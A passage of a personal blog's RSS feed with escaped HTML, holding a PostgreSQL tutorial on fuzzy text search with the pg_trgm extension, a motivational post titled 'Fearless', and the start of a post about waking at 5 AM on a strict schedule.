&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">Calgary&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">Gary&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">Gary&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">Gary&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">Geary&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">Gar&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">Garage&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">10&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">rows&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>As you can see above, I just used a made up operator (&lt;code>%&lt;/code>) which allowed me to
select a bunch of fuzzily matched text strings similar to the word &lt;code>Gary&lt;/code> &amp;ndash;
and it worked!&lt;/p>
&lt;h2 id="postgresql-fuzzy-text-searching">PostgreSQL Fuzzy Text Searching&lt;/h2>
&lt;p>So now the question is: &lt;em>How can we make PostgreSQL support fuzzy text
searching?&lt;/em> The answer is actually pretty simple: &lt;a href="http://www.postgresql.org/docs/9.2/static/pgtrgm.html" title="PostgreSQL Fuzzy Text Searching">pg_trgm&lt;/a>.&lt;/p>
&lt;p>&lt;code>pg_trgm&lt;/code> is a PostgreSQL extension which ships with PostgreSQL, and only needs
to be activated once on your database so that you can use it.&lt;/p>
&lt;p>To activate it, just run:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">CREATE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">EXTENSION&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">pg_trgm&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>On your PostgreSQL server &amp;ndash; and &lt;em>bam&lt;/em> &amp;ndash; you now have fuzzy text searching
capabilities!&lt;/p>
&lt;p>What&amp;rsquo;s especially awesome about the &lt;code>pg_trgm&lt;/code> extension is that it works
anywhere a &lt;code>LIKE&lt;/code> statement would work. This means that you can make use of
fuzzy text searching pretty much anywhere you want &amp;ndash; and it involves very
few changes to your code base!&lt;/p>
&lt;p>Let&amp;rsquo;s say you&amp;rsquo;ve got a table of businesses, and one of the columns in your
&lt;code>businesses&lt;/code> table is &lt;code>categories&lt;/code> &amp;ndash; an &lt;code>ARRAY&lt;/code> column which stores business
categories:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="n">d51job1rstb2g&lt;/span>&lt;span class="o">=&amp;gt;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">name&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">categories&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">businesses&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">WHERE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s1">&amp;#39;Zoos&amp;#39;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">ANY&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">categories&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">LIMIT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">name&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">|&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">categories&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="c1">-------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">ANIMAL&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">HOUSE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">EXOTIC&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">ANIMALS&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">OSTRICH&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">FARM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">|&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="err">{&lt;/span>&lt;span class="n">Zoos&lt;/span>&lt;span class="err">}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">LITTLE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">ROCK&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">ZOO&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">|&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="err">{&lt;/span>&lt;span class="n">Zoos&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Zoos &amp;amp; Wildlife Conservancies&amp;#34;&lt;/span>&lt;span class="err">}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">TURPENTINE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">CREEK&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">WILDLIFE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">REFUGE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">|&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="err">{&lt;/span>&lt;span class="s2">&amp;#34;Wildlife Refuges &amp;amp; Sanctuaries&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Campground &amp;amp; Recreational Vehicle Parks&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Amusement Places&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">Zoos&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Wedding Ceremony Locations&amp;#34;&lt;/span>&lt;span class="err">}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">U&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">S&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">65&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">THE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">ZOO&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">|&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="err">{&lt;/span>&lt;span class="n">Zoos&lt;/span>&lt;span class="err">}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">RIDDLE&lt;/span>&lt;span class="s1">&amp;#39;S ELEPHANT BREEDING FARM &amp;amp; WILD LIFE SANCTUARY | {&amp;#34;Wildlife Services&amp;#34;,&amp;#34;Wildlife Refuges &amp;amp; Sanctuaries&amp;#34;,&amp;#34;Wildlife Removal &amp;amp; Preservation&amp;#34;,Zoos}
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1">(5 rows)
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>In the example above, we did an exact search to find any businesses who have a
category that is equal to the string &lt;code>Zoos&lt;/code>.&lt;/p>
&lt;p>Now, if we want to enable fuzzy text searching on our &lt;code>ARRAY&lt;/code> search, we can do
so easily (just like we did in our previous example):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="n">d51job1rstb2g&lt;/span>&lt;span class="o">=&amp;gt;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">name&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">categories&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">businesses&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">WHERE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s1">&amp;#39;zoo&amp;#39;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">ANY&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">categories&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">LIMIT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">name&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">|&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">categories&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="c1">-------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">ANIMAL&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">HOUSE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">EXOTIC&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">ANIMALS&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">OSTRICH&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">FARM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">|&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="err">{&lt;/span>&lt;span class="n">Zoos&lt;/span>&lt;span class="err">}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">LITTLE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">ROCK&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">ZOO&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">|&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="err">{&lt;/span>&lt;span class="n">Zoos&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Zoos &amp;amp; Wildlife Conservancies&amp;#34;&lt;/span>&lt;span class="err">}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">TURPENTINE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">CREEK&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">WILDLIFE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">REFUGE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">|&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="err">{&lt;/span>&lt;span class="s2">&amp;#34;Wildlife Refuges &amp;amp; Sanctuaries&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Campground &amp;amp; Recreational Vehicle Parks&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Amusement Places&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">Zoos&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Wedding Ceremony Locations&amp;#34;&lt;/span>&lt;span class="err">}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">U&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">S&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">65&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">THE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">ZOO&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">|&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="err">{&lt;/span>&lt;span class="n">Zoos&lt;/span>&lt;span class="err">}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">RIDDLE&lt;/span>&lt;span class="s1">&amp;#39;S ELEPHANT BREEDING FARM &amp;amp; WILD LIFE SANCTUARY | {&amp;#34;Wildlife Services&amp;#34;,&amp;#34;Wildlife Refuges &amp;amp; Sanctuaries&amp;#34;,&amp;#34;Wildlife Removal &amp;amp; Preservation&amp;#34;,Zoos}
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1">(5 rowss
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This time, we did a fuzzy text search for the word &lt;code>zoo&lt;/code>, and got back the same
results! Nice, right?&lt;/p>
&lt;p>The thing to keep in mind here is that you can use the fuzzy text search
operator (&lt;code>%&lt;/code>) anywhere you would a &lt;code>LIKE&lt;/code> statement (or any other selection
type statement).&lt;/p>
&lt;h2 id="performance-considerations">Performance Considerations&lt;/h2>
&lt;p>Using the built in &lt;code>pg_trgm&lt;/code> extension is a great way to quickly support fuzzy
text searching on your existing data without having to do any special work. The
drawback, of course, is that this method is a lot slower than using an external
search service with proper indexes (&lt;a href="https://lucene.apache.org/solr/" title="Apache Solr">Solr&lt;/a>, &lt;a href="http://www.elasticsearch.org/" title="Elastic Search">Elastic Search&lt;/a>).&lt;/p>
&lt;p>In my experience, if you&amp;rsquo;re running small to mid-sized services, however,
&lt;code>pg_trgm&lt;/code> is a perfectly suitable solution &amp;ndash; it&amp;rsquo;s easy, adds no additional
maintenance work, no additional servers, etc.&lt;/p>
&lt;p>The next time you&amp;rsquo;re looking to do fuzzy text searching, don&amp;rsquo;t stress it! Just
use &lt;code>pg_trgm&lt;/code> and move on with your life &amp;gt;:)&lt;/p>
&lt;p>Got any questions? Feel free to &lt;a href="mailto:r@rdegges.com" title="Randall Degges' Email">shoot me an email&lt;/a>, would be happy to help.&lt;/p></description></item><item><title>Fearless</title><link>https://rdegges.com/2013/fearless/</link><pubDate>Fri, 24 May 2013 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2013/fearless/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2013/fearless/zoro-sketch.jpg" alt="Zoro Sketch" title="Zoro Sketch">
&lt;/p>
&lt;p>Ever seen a truly &lt;em>fearless&lt;/em> person? If so, you&amp;rsquo;re likely one of the few people
on earth who have.&lt;/p>
&lt;p>Truly fearless people are incredibly rare. Having the courage, willpower, and
dedication to your goals to face them without fear is something that not many
people are willing to do. Being able to crush whatever obstacles are in your
way (regardless of how large and imposing they are) is an &lt;em>almost&lt;/em>
insurmountable task &amp;ndash; for anyone.&lt;/p>
&lt;p>Life will constantly throw obstacles into your path &amp;ndash; how will you react to
them?&lt;/p>
&lt;p>In today&amp;rsquo;s world, you grow up being taught &lt;em>how to fear&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>You must obey all the arbitrary laws imposed by the government under which you
were born.&lt;/li>
&lt;li>You must go to school, and force yourself to perform to a certain level or
else you&amp;rsquo;ll face the wrath of parents, teachers, and society.&lt;/li>
&lt;li>You must take these pills to stay healthy, or else fear that you&amp;rsquo;ll get
whichever disease is most talked about at this point in time.&lt;/li>
&lt;li>You must keep quiet about things that you &lt;em>know&lt;/em> are wrong, otherwise you&amp;rsquo;ll
face punishment by society.&lt;/li>
&lt;/ul>
&lt;p>There&amp;rsquo;s truly a never ending list of fears that modern society instills in you
from birth. Is it all planned? One big conspiracy to keep the average person
living in a bubble? &lt;em>Of course not&lt;/em>, but that doesn&amp;rsquo;t mean it isn&amp;rsquo;t happening.&lt;/p>
&lt;p>The average person will grow up with such a fear-based view of the world that
it&amp;rsquo;s incredible anyone ever breaks out of the mold at all.&lt;/p>
&lt;p>I&amp;rsquo;ve been mulling this over for the past several years &amp;ndash; what is life about,
anyway? Why must we (as individuals) live to a certain standard? Why can&amp;rsquo;t we
make our own decisions and live freely without worrying what other people will
think of us?&lt;/p>
&lt;p>Allowing yourself to be held back by your fears is an incredibly draining thing.
If you constantly question your thoughts and actions, instead of living the life
you want to live, you&amp;rsquo;ll end up living a life you&amp;rsquo;ve been &lt;em>forced to live&lt;/em>.&lt;/p>
&lt;p>There&amp;rsquo;s nobody out there fighting for you except you. Nobody will tell you that
you need to start living your life the way you want to. It&amp;rsquo;s all up to you.&lt;/p>
&lt;p>Instead of making decisions based on your fears, maybe it&amp;rsquo;s time you decide who
you want to be. Not what you want to be like, but &lt;em>who you want to be&lt;/em>. When
you decide &lt;em>who&lt;/em> you want to be, don&amp;rsquo;t sell yourself short. Give it everything
you&amp;rsquo;ve got.&lt;/p>
&lt;p>If you&amp;rsquo;re 300lbs overweight and want to become a bodybuilder, the only person
holding you back is &lt;em>you&lt;/em>. Don&amp;rsquo;t be afraid of what other people think &amp;ndash; get
out there, and do whatever needs to be done to reach your goals. It&amp;rsquo;s going to
be hard work. People are going to say all sorts of things. But do you want to
continue living your life the way it is &amp;ndash; wanting more, but being too afraid to
chase after your dreams? Or do you want to suck it up, say &lt;em>fuck it&lt;/em>, and fight
your way to the top? Which will it be?&lt;/p>
&lt;p>You&amp;rsquo;ve only got one life to live. You might as well live fully and die knowing
you&amp;rsquo;ve stayed true to yourself and your ambitions. I know that I&amp;rsquo;d be able to
die in peace knowing that I didn&amp;rsquo;t care about the rest of the world and spent
all of my effort doing what &lt;em>I think&lt;/em> is right, regardless of what others think.&lt;/p></description></item><item><title>5 AM</title><link>https://rdegges.com/2013/5-am/</link><pubDate>Wed, 22 May 2013 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2013/5-am/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2013/5-am/luffy-sketch.jpg" alt="Luffy Sketch" title="Luffy Sketch">
&lt;/p>
&lt;p>All my life, I&amp;rsquo;ve been the sort of person that likes to sleep until 2pm, then
wake up and do things. For as long as I can remember, I&amp;rsquo;ve been more &lt;em>awake&lt;/em>
and active at night than during the day.&lt;/p>
&lt;p>Being awake at night just feels &lt;em>natural&lt;/em> to me. It always has.&lt;/p>
&lt;p>Starting two weeks back, I decided to change things up a bit, and try something
new. Instead of waking up at 1 or 2pm each day, I made a commitment to myself
that for a month I&amp;rsquo;d wake up at 5am, Monday through Friday.&lt;/p>
&lt;p>But that&amp;rsquo;s not all.&lt;/p>
&lt;p>On top of that, I made a new schedule for myself as well. While I normally
don&amp;rsquo;t stick to any formal &lt;em>schedules&lt;/em>, I decided that in an attempt to force
myself out of my comfort zone (and become a more awesome dude), I&amp;rsquo;d push myself
extra hard this month by following a strict schedule, and maintaining an intense
daily routine.&lt;/p>
&lt;p>I&amp;rsquo;d like to use this opportunity to chronicle my experiences so far, so that I
have something to look back on in the coming months.&lt;/p>
&lt;h2 id="why-do-this">Why Do This?&lt;/h2>
&lt;p>I have a somewhat freaky obsession with personal development. The idea of
improving oneself both physically and mentally really appeal to me.&lt;/p>
&lt;p>To that end, I&amp;rsquo;m constantly trying new things to up my game. I lift a lot of
weights, diet hard, focus intently, and try to be as effective as possible with
my work and fun projects.&lt;/p>
&lt;p>All that aside, one of the few things I haven&amp;rsquo;t seriously tried over the years
has been forcing myself to stick to a strict schedule. Maybe it&amp;rsquo;s my almost
&lt;em>hilariously&lt;/em> nonconformist attitude about everything, but the very idea of a
structured, scheduled day seems like an incredibly dull way to live.&lt;/p>
&lt;p>When I think about working a typical 9 to 5 job, my brain seems melt a little
(luckily, I work for a &lt;a href="https://www.telephonyresearch.com/" title="Telephony Research">company&lt;/a> I co-own, which is pretty great).&lt;/p>
&lt;p>Anyhow, back to the point. I decided that since I haven&amp;rsquo;t seriously tried
maintaining a strict schedule, this would be an excellent way to force myself
to try something new, get uncomfortable, and (hopefully) advance myself.&lt;/p>
&lt;p>At the very least, my goal for this experiment is to measure my productivity
over a decent length of time, and see:&lt;/p>
&lt;ul>
&lt;li>How well I can hold up to a schedule.&lt;/li>
&lt;li>How much I can produce (in terms of both work and personal projects).&lt;/li>
&lt;li>If I&amp;rsquo;m able to successfully balance my existing commitments and life with my
new schedule (I&amp;rsquo;m married, after all).&lt;/li>
&lt;/ul>
&lt;p>To help me kick start my new schedule and give myself the highest odds of
success, I also decided to flip my sleep schedule around. My reasoning here was
that since I normally wake up in the afternoon (and have lots of work email /
phone calls to deal with), forcing myself to wake up early &lt;em>AND&lt;/em> maintain a new
schedule would allow me to squeeze a lot more out of my days by giving myself
plenty of uninterrupted time in the mornings to focus on my new schedule and get
as much done as possible.&lt;/p>
&lt;h2 id="getting-into-the-new-schedule">Getting Into the New Schedule&lt;/h2>
&lt;p>The first problem I had was forcing myself to bed early enough so that I could
wake up at 5am reasonably well. Since I planned this all out, and, knowing
myself, realized it would be nearly impossible to force myself to bed at 8pm
each night &amp;ndash; I decided to cheat: &lt;em>I took a sleeping pill&lt;/em>.&lt;/p>
&lt;p>The night before I started my new experiment, I took a sleeping pill at ~6:30pm,
and eventually crawled into bed around 7:30pm and fell asleep by 8, leaving me
with a solid 9 hours of rest so I&amp;rsquo;d be fresh for the first day.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: The sleeping pill method actually worked really well for me. Those
things are pretty damn strong, and my first day into the new schedule was really
easy to get through since I was fully rested. Occasionally (through the next
two weeks) I took another sleeping pill to help myself get to bed early (my
internal clock seems to force me to bed later and later every night).&lt;/p>
&lt;p>In terms of my days (I only planned Monday through Friday, I left Saturday and
Sunday open as free days), I decided to structure them as you can see below:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>5:00am - 5:30am&lt;/strong> Wake up.&lt;/li>
&lt;li>&lt;strong>5:30am - 7:00am&lt;/strong> Go to the gym, lift weights, and do some stair master
afterwards.&lt;/li>
&lt;li>&lt;strong>7:00am - 7:30am&lt;/strong> Breakfast and reading.&lt;/li>
&lt;li>&lt;strong>7:30am - 8:30am&lt;/strong> Two pomodoro worth of personal projects.&lt;/li>
&lt;li>&lt;strong>8:30am - 9:30am&lt;/strong> Break (relax, write, read, whatever).&lt;/li>
&lt;li>&lt;strong>9:30am - 1:30pm&lt;/strong> Do work (in pomodoro).&lt;/li>
&lt;li>&lt;strong>1:30pm - 2:30pm&lt;/strong> Lunch break!&lt;/li>
&lt;li>&lt;strong>2:30pm - 4:30pm&lt;/strong> Do work (in pomodoro).&lt;/li>
&lt;li>&lt;strong>4:30pm - bed&lt;/strong> Free time.&lt;/li>
&lt;/ul>
&lt;p>As you can see above, the proposed schedule leaves me with a solid 6 hours of
uninterrupted work each day (that&amp;rsquo;s a lot of programming time), a full hour of
personal project time, and plenty of free time.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: If you have no idea what a pomodoro is, don&amp;rsquo;t feel bad. It&amp;rsquo;s
essentially a 25 minute block of time where you intently focus on a single task
without distraction. If you&amp;rsquo;ve never read the book &lt;a href="http://www.amazon.com/gp/product/1934356506/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=1934356506&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="The Pomodoro Technique on Amazon">The Pomodoro Technique&lt;/a>,
you should &amp;ndash; it&amp;rsquo;s awesome.&lt;/p>
&lt;h3 id="gym">Gym&lt;/h3>
&lt;p>Getting into the groove for my new gym routine wasn&amp;rsquo;t hard at all. Before
starting this experiment, I was already used to going to the gym immediately
after waking up (with the exception of occasionally answering important work
email first).&lt;/p>
&lt;p>Since I started waking up early, I haven&amp;rsquo;t checked my work email at all in the
morning, so it&amp;rsquo;s been really easy to jump out of bed, brush my teeth, chug a
protein shake, and head out to the gym.&lt;/p>
&lt;h3 id="personal-projects">Personal Projects&lt;/h3>
&lt;p>Working on my personal projects after the gym has been easy and fun. I love
working on side projects, they keep me happy and make me feel productive &amp;ndash;
spending an hour on them in the morning has been great.&lt;/p>
&lt;p>Previously, I found it really difficult to squeeze time into my day to work on
fun projects. It is way too easy to wake up late in the day, and immediately be
bogged down by work email, urgent phone calls, and all other sorts of madness.&lt;/p>
&lt;p>The way you start your day also really affects how awesome (or shitty) your day
is going to be. I&amp;rsquo;ve had plenty of days where as soon as I wake up I&amp;rsquo;m
inundated with phone calls and emergencies. It&amp;rsquo;s really easy to let stressful
mornings like that ruin the rest of your day, and it&amp;rsquo;s happened to me way too
much.&lt;/p>
&lt;p>Getting an early start and having plenty of uninterrupted time to hack on my
personal projects always gets me into a great mood. By the time I actually
start my work later in the day, I&amp;rsquo;ve already:&lt;/p>
&lt;ul>
&lt;li>Gone to the gym and gotten in a good workout.&lt;/li>
&lt;li>Worked on something important to me personally, and made good progress.&lt;/li>
&lt;li>Had a bit of time to relax, read, write, and spend some quiet time alone.&lt;/li>
&lt;/ul>
&lt;p>So far, my hour of personal project time every morning has become the most
cherished part of my new schedule, and has really made a huge difference in my
day to day happiness.&lt;/p>
&lt;h3 id="work">Work&lt;/h3>
&lt;p>Before starting this experiment, my work schedule was usually very chaotic.&lt;/p>
&lt;p>Instead of spending blocks of time dedicated to working (I work from home), I&amp;rsquo;d
instead spend most of my day in reactionary mode: writing code that needed to be
built, handling customer email, working on various projects, having meetings,
etc.&lt;/p>
&lt;p>Doing things the old way was partially good, and partially bad. It was good in
that I had absolute freedom (most of the time) in terms of what I was doing at
any given moment. It was bad in that I spent a lot of the time reacting to
things instead of getting things done.&lt;/p>
&lt;p>Over the past few months I ended up working 12+ hours a day, as I never had any
sort of schedule, and instead of working for a few hours and stopping &amp;ndash; I&amp;rsquo;d
just continuously be working on things. My default state was always &lt;em>working&lt;/em>.&lt;/p>
&lt;p>Unfortunately, while I&amp;rsquo;ve always known my practices weren&amp;rsquo;t optimal, it wasn&amp;rsquo;t
until these past few weeks that I realized just how bad things really were.&lt;/p>
&lt;p>Since starting my new schedule, I&amp;rsquo;ve specifically moved all customer facing
things (phone calls, email, etc.) back until after my lunch break. For the
first four hour block of time I spend working (~9:30am - 1:30pm), I
&lt;em>exclusively&lt;/em> write code in little pomodoro blocks.&lt;/p>
&lt;p>After lunch, where I have two more hours of work scheduled, I&amp;rsquo;m a bit more
flexible &amp;ndash; if there&amp;rsquo;s anything important that needs to be done (non-coding
wise), then I&amp;rsquo;ll do it (phone calls, etc.).&lt;/p>
&lt;p>This change has been &lt;em>profound&lt;/em>.&lt;/p>
&lt;p>Instead of spending an enormous amount of time each day &lt;em>responding&lt;/em> to work
events, I&amp;rsquo;m instead making a ridiculous amount of progress each morning without
interruption, and finishing an immense amount of work in really short blocks of
time.&lt;/p>
&lt;p>At first, it was definitely hard to stay focused for a four hour block, but I&amp;rsquo;ve
found that with the right music and right pomodoro app on my phone, it&amp;rsquo;s become
much easier (and more rewarding).&lt;/p>
&lt;p>It&amp;rsquo;s a great feeling to have lunch half way through the day knowing you&amp;rsquo;ve
already accomplished a ton of stuff. My stress levels are lower, I feel
happier, and I&amp;rsquo;m getting way more done than I used to.&lt;/p>
&lt;p>There&amp;rsquo;s also something really relaxing about knowing that I don&amp;rsquo;t even need to
keep a Gmail tab open in my browser until after lunch &amp;ndash; no alerts, no nothing.&lt;/p>
&lt;h3 id="free-time">Free Time&lt;/h3>
